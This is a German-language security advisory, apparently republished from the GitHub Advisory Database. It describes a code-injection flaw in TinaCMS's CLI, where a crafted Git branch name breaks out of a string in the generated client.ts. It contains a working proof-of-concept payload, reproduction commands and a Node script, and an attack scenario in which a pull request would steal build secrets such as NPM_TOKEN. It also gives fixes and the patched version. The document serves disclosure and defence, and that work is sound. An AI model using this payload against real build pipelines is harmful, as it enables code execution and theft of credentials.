Tina: Code-Injection über ungesicherten Git-Branch-Namen im generierten Client-Quellcode
Zusammenfassung
@tinacms/cli fügt den ungeprüften Wert des Git-Branches ohne Maskierung oder Kodierung in den generierten client.ts-Quellcode ein. Ein nach Git-Regeln gültiger Branch-Name kann das Zeichenfolgenliteral schließen und einen beliebigen JavaScript-Ausdruck injizieren, der ausgeführt wird, sobald der Build-Prozess das generierte Client-Modul importiert.
Betroffene Komponente
- Quelle (Branch-Auslesen):
packages/@tinacms/cli/src/cmds/init/templates/config.tsZeilen 155–172 — liestVERCEL_GIT_COMMIT_REF,GITHUB_BRANCHoderHEADinconfig.branchein - Transformation (URL-Erstellung):
packages/@tinacms/cli/src/next/codegen/index.tsZeilen 219–253 —_createApiUrl()verkettet den unveränderten Branch-Namen ohneencodeURIComponentmit der API-URL - Sink (Template):
packages/@tinacms/cli/src/next/codegen/index.tsZeilen 363–381 —genClient()interpoliert die URL inurl: '${apiURL}' - Verwandter Sink:
packages/@tinacms/cli/src/next/codegen/codegen/plugin.tsZeile 55 —url: "${apiURL}"(gleiches Muster, doppelte Anführungszeichen)
Ursache
Das Codegen-Template in index.ts:376 verwendet:
url: '${apiURL}'
wobei apiURL den unveränderten Branch-Namen enthält. Zu keinem Zeitpunkt in der Pipeline wird JSON.stringify, encodeURIComponent oder eine String-Maskierungsfunktion angewendet. Ein einfaches Anführungszeichen im Branch-Namen schließt das Zeichenfolgenliteral und ermöglicht die Injektion von Ausdrücken.
Payload
Folgendes ist ein gültiger Git-Branch-Name (akzeptiert von git check-ref-format):
x'+(globalThis.__TINA_PROBE='hit')+'
Generierter Quellcode (Sink)
Wenn die Codegenerierung mit diesem Branch ausgeführt wird, enthält die generierte Datei client.ts:
export const client = createClient({
url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
token: '<token>',
queries,
});
Das Zeichen ' im Branch-Namen schließt den URL-String ab. +(globalThis.__TINA_PROBE='hit')+ wird als JavaScript-Ausdruck interpretiert. Das nachfolgende +' öffnet den String erneut, um die Syntax gültig zu halten.
Schritte zur Reproduktion
Voraussetzungen: Node.js, Git, npm
mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild
Erstellen Sie repro.mjs:
import { transform } from 'esbuild';
import vm from 'vm';
// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";
// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;
// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;
console.log("Generated source:\n", generated);
// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });
// Execute in sandboxed VM
const sandbox = {
globalThis: {},
module: { exports: {} },
exports: {},
require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);
console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit
Ausführen: node repro.mjs
Ergebnis: globalThis.__TINA_PROBE wird auf 'hit' gesetzt, was bestätigt, dass der injizierte Ausdruck während der Modulauswertung ausgeführt wurde.
Negativkontrolle: Eine Wiederholung mit branch = "feature/safe-branch" löst die Injektion nicht aus.
Auswirkungen
Der injizierte Ausdruck wird mit den vollständigen Berechtigungen des Build-Prozesses ausgeführt. In typischen Preview-Deployments auf Vercel oder GitHub Actions:
- Build-Umgebungsvariablen sind zugänglich (
process.env), wasNPM_TOKEN,VERCEL_TOKEN, Secrets von Cloud-Providern und API-Schlüssel umfassen kann - Build-Artefakte können verändert werden, was zu einer Supply-Chain-Kompromittierung der erzeugten Ausgabe führen kann
- Netzwerkzugriff besteht, wodurch Daten exfiltriert werden können
Angriffsszenario: Ein Angreifer öffnet einen Pull Request für ein Open-Source-Projekt, das TinaCMS mit aktivierten Preview-Deployments nutzt (Vercel deployt jeden PR-Branch automatisch). Der Branch-Name des Angreifers enthält die Payload. Der Preview-Build führt Tina-Codegen aus, generiert die manipulierte Datei client.ts, und der Code des Angreifers wird während des Builds ausgeführt.
Voraussetzungen:
- Angreifer kann einen Branch oder PR erstellen, der einen Build auslöst
- Projekt nutzt TinaCMS mit der standardmäßigen Branch-Konfiguration (liest aus
VERCEL_GIT_COMMIT_REFoder Äquivalent) - Tina SDK-Codegen ist aktiviert (Standardeinstellung)
Schweregrad-Einstufung
Hoch (High) — Ausführung von beliebigem Code zur Build-Zeit über eine kontrollierte Git-Referenz. Ein kritischer Schweregrad wurde nicht vergeben, da im Nachweis keine reale Exfiltration von Geheimnissen oder Manipulation von Release-Artefakten erfolgte, sondern nur ein harmloser Indikator gesetzt wurde.
Vorgeschlagene Behebung
- Verwenden Sie
JSON.stringify(value), um alle zur Laufzeit interpolierten Werte in generierten Quellcode-Templates sicher zu serialisieren - Wenden Sie
encodeURIComponent()auf den Branch-Wert an, bevor das API-URL-Pfadsegment konstruiert wird - Wenden Sie dieselbe Behandlung auf
apiURL,token,errorPolicy,cacheDirund das TemplateAddGeneratedClientFuncinplugin.tsan - Ziehen Sie in Betracht, Laufzeitwerte vollständig aus Quellcode-Templates zu entfernen und sie stattdessen über eine JSON-Konfigurationsdatei zu übergeben, die der generierte Client zur Laufzeit einliest
Verwandte Sicherheitsmeldung
GHSA-4936-9hrh-qqpw — TinaCMS Forestry-Migration RCE in generiertem Quellcode. Andere Quelle (Forestry-YAML-Labels), anderer Parser (__TINA_INTERNAL__-Unquoting-Hilfsfunktion) und anderer Sink (tina/templates.ts). Dieser Bericht ist kein Duplikat.
Was zu tun ist
Aktualisieren Sie @tinacms/cli auf Version 3.0.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | @tinacms/cli | < 3.0.0 | 3.0.0 |
Verweise
- https://github.com/tinacms/tinacms/security/advisories/GHSA-pwhx-cvv3-qj5c
- https://github.com/tinacms/tinacms/pull/7526
- https://github.com/tinacms/tinacms/commit/d030d414d39e15de79bf36e4c728d57205e71dde
- https://github.com/tinacms/tinacms
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@3.0.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N- Schwäche (CWE)
CWE-94- Plattform
- npm
- Paket
@tinacms/cli- Veröffentlicht
- 09.10.2026
- Aktualisiert
- 11.10.2026 10:28
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-pwhx-cvv3-qj5c - CC BY 4.0
Schwachstellenhistorie: @tinacms/cli
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 9
- Erste → letzte
- 02.2023 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 1
- Hoch 6
- Mittel 2
Veröffentlichungen pro Jahr
- 2023: 1
- 2024: 1
- 2025: 1
- 2026: 6
-
Tina: Code-Injection über ungesicherten Git-Branch-Namen im generierten Client-Quellcode dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.